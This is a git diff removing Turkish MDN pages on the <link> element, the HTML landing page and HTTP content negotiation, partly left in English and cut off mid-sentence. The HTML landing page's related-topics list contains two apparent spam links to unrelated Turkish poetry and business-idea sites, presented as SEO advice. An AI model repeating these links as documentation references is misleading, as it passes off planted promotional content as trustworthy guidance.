<dt>{{HTMLAttrDef("rev")}} {{Obsolete_Inline}}</dt> - <dd>Bu özelliğin değeri, geçerli belgenin, {{HTMLAttrxRef("href", "link")}} özelliği ile tanımlandığı şekilde bağlantılı belgeyle ilişkisini gösterir. Böylece özellik, <code>rel</code> niteliğinin değeriyle karşılaştırıldığında ters ilişkiyi tanımlar. Özniteliğin <a href="/en-US/docs/Web/HTML/Link_types">bağlantı türü değerleri</a>, {{HTMLAttrxRef("rel", "link")}} için olası değerlere benzer.</dd> - <dd> - <div class="blockIndicator note"> - <p><strong>Not:</strong> Bu özellik, WHATWG HTML yaşam standardı tarafından (MDN'nin kanonik davrandığı şartnamesi olan) geçersiz. Ancak, W3C şartnamesinde <code>rev</code>'in <em>değil</em> olduğuna dikkat edin. Bununla birlikte, belirsizlik göz önüne alındığında, <code>rev</code>'e güvenmek akıllıca değildir.</p> - - <p>Bunun yerine, {{HTMLAttrxRef("rel", "link")}} özelliğini, karşıt <a href="/en-US/docs/Web/HTML/Link_types">bağlantı türü değeriyle</a> kullanmalısınız. Örneğin, <code>made</code> için ters bağlantı oluşturmak için <code>author</code>'u belirtin. Ayrıca, bu özellik "revizyon" anlamına gelmez ve birçok site bu şekilde kötüye kullanmasına rağmen, sürüm numarasıyla kullanılmamalıdır.</p> - </div> - </dd> -</dl> - -<h2 id="CSS_ile_stil_oluşturma">CSS ile stil oluşturma</h2> - -<p><code><link></code> elemanın bir web belgesinde görsel bir varlığı yoktur, bu nedenle endişelenilmesi gereken herhangi bir tasarım düşüncesi yoktur.</p> - -<h2 id="Örnekler">Örnekler</h2> - -<h3 id="Stil_sayfası_dahil_etme">Stil sayfası dahil etme</h3> - -<p>Sayfaya stil sayfası eklemek için aşağıdaki söz dizimini kullanın:</p> - -<pre class="brush: html no-line-numbers"><link href="style.css" rel="stylesheet"> -</pre> - -<h3 id="Alternatif_stil_sayfaları_sağlama">Alternatif stil sayfaları sağlama</h3> - -<p>Ayrıca <a href="/en-US/docs/Web/CSS/Alternative_style_sheets">alternatif stil sayfalarında</a> belirtebilirsiniz.</p> - -<p>Kullanıcı, Görünüm ve Sayfa Stili menüsünden seçerek hangi stil sayfasını kullanacağını seçebilir. Bu, kullanıcıların bir sayfanın birden çok sürümünü görmelerine olanak sağlar.</p> - -<pre class="brush: html no-line-numbers"><link href="default.css" rel="stylesheet" title="Varsayılan Stil"> -<link href="fancy.css" rel="alternate stylesheet" title="Fantezi"> -<link href="basic.css" rel="alternate stylesheet" title="Temel"> -</pre> - -<h3 id="Farklı_kullanım_içerikleri_için_simgeler_sağlama">Farklı kullanım içerikleri için simgeler sağlama</h3> - -<p>Aynı sayfada birkaç farklı simgeye bağlantılar ekleyebilirsiniz ve tarayıcı ipucu olarak <code>rel</code> ve <code>sizes</code> değerlerini kullanarak kendi bağlamında hangisinin en iyi sonucu vereceğini seçer.</p> - -<pre class="brush: html no-line-numbers"><!-- yüksek çözünürlüklü Retina ekranlı üçüncü nesil iPad: --> -<link rel="apple-touch-icon-precomposed" sizes="144x144" href="favicon144.png"> -<!-- yüksek çözünürlüklü Retina ekranlı iPhone: --> -<link rel="apple-touch-icon-precomposed" sizes="114x114" href="favicon114.png"> -<!-- birinci ve ikinci nesil iPad: --> -<link rel="apple-touch-icon-precomposed" sizes="72x72" href="favicon72.png"> -<!-- Retina olmayan iPhone, iPod Touch ve Android 2.1+ cihazlar: --> -<link rel="apple-touch-icon-precomposed" href="favicon57.png"> -<!-- basic favicon --> -<link rel="icon" href="favicon32.png"></pre> - -<h3 id="Kaynakları_ortam_sorgularıyla_koşullu_olarak_yükleme">Kaynakları ortam sorgularıyla koşullu olarak yükleme</h3> - -<p>Bir <code>media</code> niteliği içinde bir ortam türü veya sorgu sağlayabilirsiniz; bu kaynak daha sonra yalnızca ortam koşulu doğru olduğunda yüklenir. Örneğin:</p> - -<pre class="brush: html no-line-numbers"><link href="print.css" rel="stylesheet" media="print"> -<link href="mobile.css" rel="stylesheet" media="all"> -<link href="desktop.css" rel="stylesheet" media="screen and (min-width: 600px)"> -<link href="highres.css" rel="stylesheet" media="screen and (min-resolution: 300dpi)"> -</pre> - -<h3 id="Stil_sayfası_yükleme_etkinlikleri">Stil sayfası yükleme etkinlikleri</h3> - -<p>Bir stil sayfasının ne zaman yüklendiğini, üzerine ateşlemek için bir <code> load </code> olayını izleyerek belirleyebilirsiniz; Benzer şekilde, bir stil sayfası işlenirken bir <code>error</code> olayını izleyerek bir hata olup olmadığını tespit edebilirsiniz:</p> - -<pre class="brush: html"><script> -var myStylesheet = document.querySelector('#my-stylesheet'); - -myStylesheet.onload = function() { - // İlginç bir şey yapın; sayfa yüklendi -} - -myStylesheet.onerror = function() { - console.log("Stil sayfası yüklenirken bir hata oluştu!"); -} -</script> - -<link rel="stylesheet" href="mystylesheet.css" id="my-stylesheet"> -</pre> - -<div class="blockIndicator note"> -<p><strong>Not:</strong> <code>load</code> olayı, stil sayfası ve içe aktarılan içeriğinin tümü yüklenip ayrıştırıldığında ve stillerin içeriğe uygulanmaya başlamasından hemen önce başlatılır.</p> -</div> - -<h3 id="Önceden_yükleme_örnekleri">Önceden yükleme örnekleri</h3> - -<p><a href="/en-US/docs/Web/HTML/Preloading_content">İçeriği <code>rel="preload"</code></a> ile önyükleme, bir dizi <code> &ltlink rel="preload"></code> örneği bulabilirsiniz.</p> - -<h2 id="Teknik_özet">Teknik özet</h2> - -<table class="properties"> - <tbody> - <tr> - <th><a href="/en-US/docs/Web/HTML/Content_categories">İçerik kategorileri</a></th> - <td>Meta veri içeriği. <a href="/en-US/docs/Web/HTML/Global_attributes/itemprop">itemprop</a> varsa: <a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">akış içeriği</a> ve <a href="/en-US/docs/Web/HTML/Content_category#Phrasing_content">phrasing içeriği</a>.</td> - </tr> - <tr> - <th>İzin verilen içerik</th> - <td>Yok, bir {{Glossary("boş eleman")}}.</td> - </tr> - <tr> - <th>Etiket ihmali</th> - <td>Boş bir öğe olduğundan, başlangıç etiketi bulunmalı ve bitiş etiketi bulunmamalıdır</td> - </tr> - <tr> - <th>İzin verilen ebeveynler</th> - <td>Meta veri öğelerini kabul eden herhangi bir öğe. <a href="/en-US/docs/Web/HTML/Global_attributes/itemprop">itemprop</a> varsa: <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">içerik ifadesi</a>.</td> - </tr> - <tr> - <th scope="row">İzin verilen ARIA rolleri</th> - <td>Hiçbiri</td> - </tr> - <tr> - <th>DOM arayüzü</th> - <td>{{DOMxRef("HTMLLinkElement")}}</td> - </tr> - </tbody> -</table> - -<h2 id="Şartnames">Şartnames</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Şartname</th> - <th scope="col">Durum</th> - <th scope="col">Yorum</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName("Preload")}}</td> - <td>{{Spec2("Preload")}}</td> - <td>Defines <code><link rel="preload"></code>, ve <code>as</code> atıf.</td> - </tr> - <tr> - <td>{{SpecName("Subresource Integrity", "#HTMLLinkElement", "lt;link>")}}</td> - <td>{{Spec2("Subresource Integrity")}}</td> - <td><code>integrity</code> atıf eklendi.</td> - </tr> - <tr> - <td>{{SpecName("HTML WHATWG", "semantics.html#the-link-element", "<link>")}}</td> - <td>{{Spec2("HTML WHATWG")}}</td> - <td>En son anlık görüntüden değişiklik yok</td> - </tr> - <tr> - <td>{{SpecName("HTML5 W3C", "document-metadata.html#the-link-element", "<link>")}}</td> - <td>{{Spec2("HTML5 W3C")}}</td> - <td><code>crossorigin</code> ve <code>sizes</code> özellikleri eklendi; Herhangi bir medya sorgusuna <code>media</code> genişletilmiş değerleri; <code> rel </code> için birçok yeni değer ekledi.</td> - </tr> - <tr> - <td>{{SpecName("HTML4.01", "struct/links.html#h-12.3", "<link>")}}</td> - <td>{{Spec2('HTML4.01')}}</td> - <td></td> - </tr> - <tr> - <td>{{SpecName("Resource Hints", "#prefetch", "prefetch")}}</td> - <td>{{Spec2("Resource Hints")}}</td> - <td><code>dns-prefetch</code>, <code>preconnect</code>, <code>prefetch</code> ve <code>prerender</code> eklendi.</td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_uyumluluğu">Tarayıcı uyumluluğu</h2> - -<div class="hidden">Bu sayfadaki uyumluluk tablosu yapılandırılmış verilerden üretilmiştir. Verilere katkıda bulunmak istiyorsanız, lütfen <a href="https://github.com/mdn/browser-compat-data"> https://github.com/mdn/browser-compat- veri </a> ve bize çekme isteği gönderin.</div> - -<p>{{Compat("html.elements.link", 3)}}</p> - -<h2 id="Ayrıca_bakınız">Ayrıca bakınız</h2> - -<ul> - <li>{{HTTPHeader("Link")}} HTTP başlık</li> - <li><a href="https://pie.gd/test/script-link-events/">Ryan Grove'un <script> ve <link> düğümü olayı uyumluluk tablosu</a></li> -</ul> diff --git a/files/tr/web/html/index.html b/files/tr/web/html/index.html deleted file mode 100644 index 3bd35d29e2..0000000000 --- a/files/tr/web/html/index.html +++ /dev/null @@ -1,109 +0,0 @@ ---- -title: HTML (HyperText Markup Language) -slug: Web/HTML -tags: - - HTML - - HTML5 - - Landing - - Web -translation_of: Web/HTML ---- -<div>{{HTMLSidebar}}</div> - -<p class="summary"><span class="seoSummary"><strong>HTML</strong><span class="tlid-translation translation" lang="tr"><span title=""> (HyperText Markup Language), Web’in en temel yapı taşıdır.</span> <span title="">Web içeriğinin anlamını ve yapısını tanımlar.</span> <span title="">HTML dışındaki diğer teknolojiler genellikle bir web sayfasının görünümünü / sunumunu (<a href="/tr/docs/Web/CSS">CSS</a>) veya işlevselliğini / davranışını (<a href="/tr/docs/Web/JavaScript">JavaScript</a>) tanımlamak için kullanılır.</span></span></span></p> - -<p>"HyperText" (köprü metni, üst metin, hiper metin olarak da bilinir), web sayfalarını tek bir web sitesi içinde veya web siteleri arasında birbirine bağlayan bağlantıları ifade eder. Bağlantılar, Web'in temel bir özelliğidir. İnternete içerik yükleyerek ve başkaları tarafından oluşturulan sayfalara bağlayarak, World Wide Web’de aktif bir katılımcı olursunuz.</p> - -<p>HTML, bir Web tarayıcısında görüntülenmek üzere metin, resim ve diğer içerikleri tanımlamak için "işaretlemeyi" (markup) kullanır.</p> - -<p>HTML işaretlemesi {{HTMLElement("head")}}, {{HTMLElement("title")}}, {{HTMLElement("body")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}}, {{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("p")}}, {{HTMLElement("div")}}, {{HTMLElement("span")}}, {{HTMLElement("img")}}, {{HTMLElement("aside")}}, {{HTMLElement("audio")}}, {{HTMLElement("canvas")}}, {{HTMLElement("datalist")}}, {{HTMLElement("details")}}, {{HTMLElement("embed")}}, {{HTMLElement("nav")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, {{HTMLElement("video")}}, {{HTMLElement("ul")}}, {{HTMLElement("ol")}}, {{HTMLElement("li")}} gibi birçok özel "element" içerir.</p> - -<p>Bir HTML elementi, bir belgedeki diğer metinden "<" ve ">" ile çevrelenmiş element adından oluşan "etiketler" ile ayrılır. Bir etiket içindeki bir elementin adı büyük / küçük harf duyarsızdır. Yani, büyük harf, küçük harf veya karışım şeklinde yazılabilir. Örneğin, <code><title></code> etiketi <code><Title></code>, <code><TITLE></code> veya başka bir şekilde yazılabilir.</p> - -<p>Aşağıdaki makaleler HTML hakkında daha fazla bilgi edinmenizi sağlayabilir.</p> - -<section class="cleared" id="sect1"> -<ul class="card-grid"> - <li><span>HTML'e Giriş</span> - - <p>Web geliştirmede yeniyseniz, HTML'nin ne olduğunu ve nasıl kullanılacağını öğrenmek için <a href="/en-US/docs/Learn/Getting_started_with_the_web/HTML_basics">HTML Temelleri</a> makalemizi mutlaka okuyun.</p> - </li> - <li><span>HTML Dersleri</span> - <p>HTML'nin yanı sıra dersler ve örneklerin kullanımı hakkında makaleler için, <a href="/en-US/docs/Learn/HTML">HTML Öğrenme Alanı</a>'nı inceleyin..</p> - </li> - <li><span>HTML Öğelerinin Açıklamaları</span> - <p><a href="/en-US/docs/Web/HTML/Reference">Genişletilmiş HTML örnekleri </a>bölümümüzde, HTML'deki her element ve özellik hakkındaki ayrıntıları bulacaksınız.</p> - </li> -</ul> - -<div class="row topicpage-table"> -<div class="section"> -<h2 class="Tools" id="Temel_Düzey_Dersleri">Temel Düzey Dersleri</h2> - -<p><a href="/en-US/docs/Learn/HTML">HTML Ögrenme Alanımız</a> HTML hakkında hiçbir önbilgi sahibi olmanızı gerektirmeksizin en temelden başlayarak anlatan modüller bulundurmaktadır.</p> - -<dl> - <dt><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">HTML'e Giriş </a></dt> - <dd>Bu modül, sizi köprüler (linkler) oluşturma ve bir web sayfasını yapılandırmak için HTML'in nasıl kullanılabileceği gibi önemli kavramlara ve sözdizimine alıştırarak temel oluşturur.</dd> - <dt><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding">Multimedia ekleme ve gömme (embed etme) İşlemleri</a></dt> - <dd>Bu modül, bir HTML sayfasına multimedia içeriklerin birkaç farklı yol ile nasıl dahil edileceği, videoların, ses dosyalarının ve hatta bir web sayfasının tamamımının bir HTML sayfasına nasıl gömülebileceğini keşfetmenizi sağlar.</dd> - <dt><a href="/en-US/docs/Learn/HTML/Tables">HTML tabloları</a></dt> - <dd>Bir web sayfasındaki tablo verilerini anlaşılabilir, erişilebilir bir şekilde göstermek zor olabilir. Bu modül, temel tablo elementlerinden {{HTMLElement("caption")}} ve {{HTMLElement("summary")}} gibi daha ileri özelliklere kadar bilgileri kapsar.</dd> - <dt><a href="/en-US/docs/Learn/HTML/Forms">HTML formları</a></dt> - <dd>Formlar, Web’in çok önemli bir parçasıdır - kaydolma ve giriş yapma, geri bildirim gönderme, ürün satın alma gibi web siteleriyle etkileşimde bulunmak için ihtiyacınız olan işlevselliğin çoğunu sağlar. Bu modül, formların istemci tarafı / front-end kısımlarını oluşturmaya başlamanızı sağlar.</dd> - <dt><a href="/en-US/docs/Learn/HTML/Howto">Yaygın HTML problemlerinin çözümleri</a></dt> - <dd>Bir web sayfası oluştururken sık karşılaşılan HTML sorunlarının nasıl çözülebileceğini açıklayan içerik bölümlerine bağlantılar sağlar: başlıklarla çalışmak, resimler veya videolar eklemek, içeriği vurgulamak, temel bir form oluşturmak, vb.</dd> -</dl> - -<h2 id="İleri_Düzey_Konular">İleri Düzey Konular</h2> - -<dl> - <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/CORS_enabled_image">CORS olarak etkinleştirilmiş resim</a></dt> - <dd class="landingPageList">{{htmlattrxref("crossorigin", "img")}} özelliği, uygun bir {{glossary("CORS")}} üstbilgisiyle birlikte, {{HTMLElement("img")}} elementi tarafından tanımlanan görüntülerin yabancı kaynaklardan yüklenmesini ve bir {{HTMLElement("canvas")}} elemanında mevcut orijinden yüklenmiş gibi kullanılmasını sağlar.</dd> - <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/CORS_settings_attributes">CORS </a><a href="/en-US/docs/Web/HTML/CORS_settings_attributes">ayarları özellikleri</a></dt> - <dd class="landingPageList">{{HTMLElement("img")}} veya {{HTMLElement("video")}} gibi <a href="/en-US/docs/HTTP/Access_control_CORS">CORS</a> desteği sağlayan bazı HTML öğelerinde, öğenin getirilen verileri için CORS isteklerini yapılandırmanıza izin veren bir <code>crossorigin</code> özelliği (<code>crossOrigin</code> özelliği) bulunur.</dd> - <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/Focus_management_in_HTML">HTML'de Focus yönetimi</a></dt> - <dd><code><a href="/en-US/docs/Web/API/Document/activeElement">activeElement</a></code> DOM özelliği ve <code><a href="/en-US/docs/Web/API/Document/hasFocus">hasFocus()</a></code> DOM metodu bir kullanıcınin bir web sayfasindaki elementlerle etkileşimlerini izlemenize ve kontrol etmenize yardımcı olur.</dd> - <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/Preloading_content">rel="preload" ile içeriği önceden yükleme</a></dt> - <dd class="landingPageList">{{htmlelement("link")}} elementinin <code>preload</code> değerinin {{htmlattrxref("rel", "link")}} özelliği HTML’nizin {{htmlelement("head")}} bölümüne web tarayıcısının sayfayı ilk gösterime hazırlamasından önce, sayfa ilk görüntülendiğinde görünecek olan bölümlerin istenildiği gibi gösterilebilmesi için ihtiyaç duyacağı kaynakları sayfa yüklenmeye ilk başladığında getirmesi için isteklerinizi yazmanıza olanak tanır. Bu, daha önceden kullanılabilir olmalarını sağlar ve sayfanın ilk oluşturma işlemini engelleme olasılığının daha düşük olmasını sağlar ve bu da performans iyileştirmeleri sağlar. Bu makale, önyüklemenin nasıl çalıştığı hakkında temel bir rehberdir.</dd> -</dl> -</div> - -<div class="section"> -<h2 class="Documentation" id="HTML_öğeleri">HTML öğeleri</h2> - -<dl> - <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/Reference">HTML öğeleri</a></dt> - <dd class="landingPageList">HTML, her biri belirli sayıda <strong>özellik (attribute)</strong> tarafından özelleştirilebilen <strong>elementlerden (HTML elementi)</strong> oluşur. HTML belgeleri birbirine <a href="/en-US/docs/Web/HTML/Link_types">linkler</a> ile bağlanır.</dd> - <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/Element">HTML elementleri</a></dt> - <dd class="landingPageList">Tüm {{glossary("HTML")}} {{glossary("Element", "element")}} 'lerinin yer aldığı listeye göz at!</dd> - <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/Attributes">HTML özellikleri (attribute)</a></dt> - <dd class="landingPageList">HTML elementleri özelliklere sahiptirler. Bu özellikler farklı yollarla elementlerin davranışlarını belirler.</dd> - <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/Global_attributes">Global özellikler (attributes)</a></dt> - <dd class="landingPageList">Global özellikler <em>standart olmayan elementler dahil</em> tüm HTML elementlerini belirler.<em> </em>Bu HTML5 ile uyumlu olmayan bir belge olsa dahi tum elementleri belirtebileceği anlamına gelir.</dd> - <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/Inline_elements">Inline elementler</a> ve <a href="/en-US/docs/Web/HTML/Block-level_elements">block-level elementler</a></dt> - <dd class="landingPageList">HTML elementleri genelde "inline" (satıriçi) veya "block-level" (blok düzeyli) elementlerdir. Bir inline element yalnızca onu tanımlayan etiketlerle sınırlanan alan kadar yer kaplar. Bir block-level element bir "blok" oluşturarak bir ust elementinin tumunu kaplar.</dd> - <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/Link_types">Link tipleri</a></dt> - <dd class="landingPageList">HTML'de, iki doküman arasında bağlantılar birçok farklı link tipi ile kurulabilir. Link elementleri {{HTMLElement("a")}}, {{HTMLElement("area")}} and {{HTMLElement("link")}} ile oluşturulabilir.</dd> - <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/Supported_media_formats">HTML audio ve video elementleri tarafından desteklenen media formatları</a></dt> - <dd class="landingPageList">{{HTMLElement("audio")}} ve {{HTMLElement("video")}} elementleri audio ve video dosyaları oynatmanıza izin verir. Bu elementler Adobe Flash ve eklentilere alternatif olarak tarayıcıya özgü oynatıcılar sunar.</dd> - <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/Kinds_of_HTML_content">HTML içeriğinin çeşitleri</a></dt> - <dd class="landingPageList">HTML, her biri belirli bağlamlarda kullanılmasına izin verilen ve başkalarına izin verilmeyen çeşitli içerik türlerinden oluşur. Benzer şekilde, her biri içerebilecekleri başka içerik kategorilerine ve içinde kullanılabilecek veya kullanılamayacak öğelere sahiptir. Bu, bu kategoriler için bir rehberdir.</dd> - <dt class="landingPageList"></dt> - <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/Quirks_Mode_and_Standards_Mode">Quirks mod(garip mod) and standard mod</a></dt> - <dd class="landingPageList">Quirk mod and standard mod hakkında tarihi bilgiler.</dd> -</dl> - -<h2 class="landingPageList" id="İlgili_Konular">İlgili Konular</h2> - -<dl> - <dt><a href="/en-US/docs/Web/HTML/Applying_color">HTML elementlerini CSS kullanarak renklendirmek</a></dt> - <dd>Bu makale HTML içeriklerine CSS kullanarak renk eklemek için kullanılan çoğu yolu kapsamaktadır. Renklendirilebilecek HTML elementlerini ve bu elementleri hangi CSS özellikleri kullanılarak renklendirilebileceğini gösterir. Örnekler, renk palet araçlarının linkleri ve daha fazlası burada.</dd> - <dt>SEO ile ilgili bilgiler</dt> - <dd>Örneğin yükselmek istediğiniz anahtar kelime <a href="https://www.enguzelsiirleri.com/2017/09/sevgi-ile-ilgili-siirler.html">Sevgi ile ilgili şiirler</a> olsun. Anahtar kelime analizi çıkararak bu durumu halledebilirsiniz.</dd> - <dt>İş Fikirleri</dt> - <dd><a href="https://www.kobifikirleri.com/is-fikirleri">İş fikirleri </a>kategorisinde her konuda kaliteli içerik oluşturarak size yardımcı olan rehber niteliğinde bir kaynaktır. </dd> -</dl> -</div> -</div> -<span class="alllinks"><a href="/en-US/docs/tag/HTML">Tümünü Görüntüle...</a></span></section> diff --git a/files/tr/web/http/content_negotiation/index.html b/files/tr/web/http/content_negotiation/index.html deleted file mode 100644 index 9a12e443a3..0000000000 --- a/files/tr/web/http/content_negotiation/index.html +++ /dev/null @@ -1,141 +0,0 @@ ---- -title: İçerik görüşmesi -slug: Web/HTTP/Content_negotiation -translation_of: Web/HTTP/Content_negotiation ---- -<div>{{HTTPSidebar}}</div> - -<p class="summary"><a href="/tr/docs/Glossary/HTTP">HTTP</a> protokolünde, <em><strong>içerik görüşmesi</strong></em> bir kaynağın aynı URI'de farklı biçimlerini sunmak için kullanılan mekanizmadır, bu mekanizma sayesinde kullanıcının programı onun için bunların hangisinin daha uygun olacağını belirleyebilir (örneğin, bir dosyanın hangi dilinin, hangi resim formatının, ya da hangi içerik kodlamasının seçileceği gibi).</p> - -<h2 id="İçerik_görüşmesi_prensipleri">İçerik görüşmesi prensipleri</h2> - -<p>Belirli bir dosyaya <em>kaynak </em>denir. Bir istemci bu kaynağı elde etmek istediğinde, onun URL'sini kullanarak istekte bulunur. Sunucu bu URL'yi kullanarak bir varyantı seçer – her bir varyanta bir <em>temsil </em>denilir – ve istemciye bu belirli temsili döndürür. Kaynağın kendisinin, ve her bir temsilinin, belirli bir URL'si vardır. How a specific representation is chosen when the resource is called is determined by <em>content negotiation</em> and there are several ways of negotiating between the client and the server.</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/13789/HTTPNego.png" style="height: 311px; width: 767px;"></p> - -<p>The determination of the best suited representation is made through one of two mechanisms:</p> - -<ul> - <li>Specific <a href="/tr/docs/Web/HTTP/Headers">HTTP headers</a> by the client (<em>server-driven negotiation</em> or <em>proactive negotiation</em>), which is the standard way of negotiating a specific kind of resource.</li> - <li>The {{HTTPStatus("300")}} (Multiple Choices) or {{HTTPStatus("406")}} (Not Acceptable) <a href="/tr/docs/Web/HTTP/Status">HTTP response codes</a> by the server (<em>agent-driven negotiation</em> or <em>reactive negotiation</em>), that are used as fallback mechanisms.</li> -</ul> - -<p>Over the years, other content negotiation proposals, like <em>transparent content negotiation</em> and the <code>Alternates</code> header, have been proposed. They failed to get traction and got abandoned.</p> - -<h2 id="Server-driven_content_negotiation">Server-driven content negotiation</h2> - -<p>In <em>server-driven content negotiation</em>, or proactive content negotiation, the browser (or any other kind of user-agent) sends several HTTP headers along with the URL. These headers describe the preferred choice of the user. The server uses them as hints and an internal algorithm chooses the best content to serve to the client. The algorithm is server-specific and not defined in the standard. See, for example, the <a class="external" href="http://httpd.apache.org/docs/2.2/en/content-negotiation.html#algorithm">Apache 2.2 negotiation algorithm</a>.</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/13791/HTTPNegoServer.png" style="height: 380px; width: 767px;"></p> - -<p>The HTTP/1.1 standard defines list of the standard headers that start server-driven negotiation ({{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Language")}}). Though strictly speaking {{HTTPHeader("User-Agent")}} is not in this list, it is sometimes also used to send a specific representation of the requested resource, though this is not considered as a good practice. The server uses the {{HTTPHeader("Vary")}} header to indicate which headers it actually used for content negotiation (or more precisely the associated response headers), so that <a href="/en-US/docs/Web/HTTP/Caching">caches</a> can work optimally.</p> - -<p>In addition to these, there is an experimental proposal to add more headers to the list of available headers, called <em>client hints</em>. Client hints advertise what kind of device the user agent runs on (for example, if it is a desktop computer or a mobile device).</p> - -<p>Even if server-driven content negotiation is the most common way to agree on a specific representation of a resource, it has several drawbacks:</p> - -<ul> - <li>The server doesn't have total knowledge of the browser. Even with the Client Hints extension, it has not a complete knowledge of the capabilities of the browser. Unlike reactive content negotiation where the client makes the choice, the server choice is always somewhat arbitrary.</li> - <li>The information by the client is quite verbose (HTTP/2 header compression mitigates this problem) and a privacy risk (HTTP fingerprinting)</li> - <li>As several representations of a given resource are sent, shared caches are less efficient and server implementations are more complex.</li> -</ul> - -<h3 id="The_Accept_header">The <code>Accept</code> header</h3> - -<p>The {{HTTPHeader("Accept")}} header lists the MIME types of media resources that the agent is willing to process. It is comma-separated lists of MIME types, each combined with a quality factor, a parameter indicating the relative degree of preference between the different MIME types.</p> - -<p>The {{HTTPHeader("Accept")}} header is defined by the browser, or any other user-agent, and can vary according to the context, like fetching an HTML page or an image, a video, or a script: It is different when fetching a document entered in the address bar or an element linked via an {{ HTMLElement("img") }}, {{ HTMLElement("video") }} or {{ HTMLElement("audio") }} element. Browsers are free to use the value of the header that they think is the most adequate; an exhaustive list of <a href="/en-US/docs/Web/HTTP/Content_negotiation/List_of_default_Accept_values">default values for common browsers</a> is available.</p> - -<h3 id="The_Accept-CH_header_experimental_inline">The <code>Accept-CH</code> header {{experimental_inline}}</h3> - -<div class="note"> -<p>This is part of an <strong>experimental</strong> technology called <em>Client Hints</em>. Initial support is in Chrome 46 or later. The Device-Memory value is in Chrome 61 or later.</p> -</div> - -<p>The experimental {{HTTPHeader("Accept-CH")}} lists configuration data that can be used by the server to select an appropriate response. Valid values are:</p> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Value</th> - <th scope="col">Meaning</th> - </tr> - </thead> - <tbody> - <tr> - <td><code>Device-Memory</code></td> - <td>Indicates the approximate amount of device RAM. This value is an approximation given by rounding to the nearest power of 2 and dividing that number by 1024. For example, 512 megabytes will be reported as <code>0.5</code>. </td> - </tr> - <tr> - <td><code>DPR</code></td> - <td>Indicates the client's device pixel ratio.</td> - </tr> - <tr> - <td><code>Viewport-Width</code></td> - <td>Indicates the layout viewport width in CSS pixels. </td> - </tr> - <tr> - <td><code>Width</code></td> - <td>Indicates the resource width in physical pixels (in other words the intrinsic size of an image).</td> - </tr> - </tbody> -</table> - -<h3 id="The_Accept-Charset_header">The <code>Accept-Charset</code> header</h3> - -<p>The {{HTTPHeader("Accept-Charset")}} header indicates to the server what kinds of character encodings are understood by the user-agent. Traditionally, it was set to a different value for each locale for the browser, like <code>ISO-8859-1,utf-8;q=0.7,*;q=0.7</code> for a Western European locale.</p> - -<p>With UTF-8 now being well-supported, being the preferred way of encoding characters, <a href="https://www.eff.org/deeplinks/2010/01/primer-information-theory-and-privacy">and to guarantee better privacy through less configuration-based entropy</a>, browsers omit the <code>Accept-Charset</code> header: Internet Explorer 8, Safari 5, Opera 11, Firefox 10 and Chrome 27 have abandoned this header.</p> - -<h3 id="The_Accept-CH-Lifetime_header">The <code>Accept-CH-Lifetime</code> header</h3> - -<div class="note"> -<p>This is part of an <strong>experimental</strong> technology called <em>Client Hints </em> and is only available in Chrome 61 or later.</p> -</div> - -<p>The {{HTTPHeader("Accept-CH-Lifetime")}} header is used with the <code>Device-Memory</code> value of the <code>Accept-CH</code> header and indicates the amount of time the device should opt-in to sharing the amount of device memory with the server. The value is given in miliseconds and it's use is optional.</p> - -<h3 id="The_Accept-Encoding_header">The <code>Accept-Encoding</code> header</h3> - -<p>The {{HTTPHeader("Accept-Encoding")}} header defines the acceptable content-encoding (supported compressions). The value is a q-factor list (e.g.: <code>br, gzip;q=0.8</code>) that indicates the priority of the encoding values. The default value <code>identity</code> is at the lowest priority (unless otherwise declared).</p> - -<p>Compressing HTTP messages is one of the most important ways to improve the performance of a Web site, it shrinks the size of the data transmitted and makes better use of the available bandwidth; browsers always send this header and the server should be configured to abide to it and to use compression.</p> - -<h3 id="The_Accept-Language_header">The <code>Accept-Language</code> header</h3> - -<p>The {{HTTPHeader("Accept-Language")}} header is used to indicate the language preference of the user. It is a list of values with quality factors (like: <code>"de, en;q=0.7</code>"). A default value is often set according the language of the graphical interface of the user agent, but most browsers allow to set different language preferences.</p> - -<p>Due to the <a href="https://www.eff.org/deeplinks/2010/01/primer-information-theory-and-privacy">configuration-based entropy</a> increase, a modified value can be used to fingerprint the user, it is not recommended to change it and a Web site cannot trust this value to reflect the actual wish of the user. Site designers must not be over-zealous by using language detection via this header as it can lead to a poor user experience:</p> - -<ul> - <li>They should always provide a way to overcome the server-chosen language, e.g., by providing a language menu on the site. Most user-agents provide a default value for the <code>Accept-Language</code> header, adapted to the user interface language and end users often do not modify it, either by not knowing how, or by not being able to do it, as in an Internet café for instance.</li> - <li>Once a user has overridden the server-chosen language, a site should no longer use language detection and should stick with the explicitly-chosen language. In other words, only entry pages of a site should select the proper language using this header.</li> -</ul> - -<h3 id="The_User-Agent_header">The <code>User-Agent</code> header</h3> - -<div class="note"> -<p>Though there are legitimate uses of this header for selecting content, <a href="/en-US/docs/Web/HTTP/Browser_detection_using_the_user_agent">it is considered bad practice</a> to rely on it to define what features are supported by the user agent.</p> -</div> - -<p>The {{HTTPHeader("User-Agent")}} header identifies the browser sending the request. This string may contain a space-separated list of <em>product tokens</em> and <em>comments</em>.</p> - -<p>A <em>product token</em> is a name followed by a '<code>/</code>' and 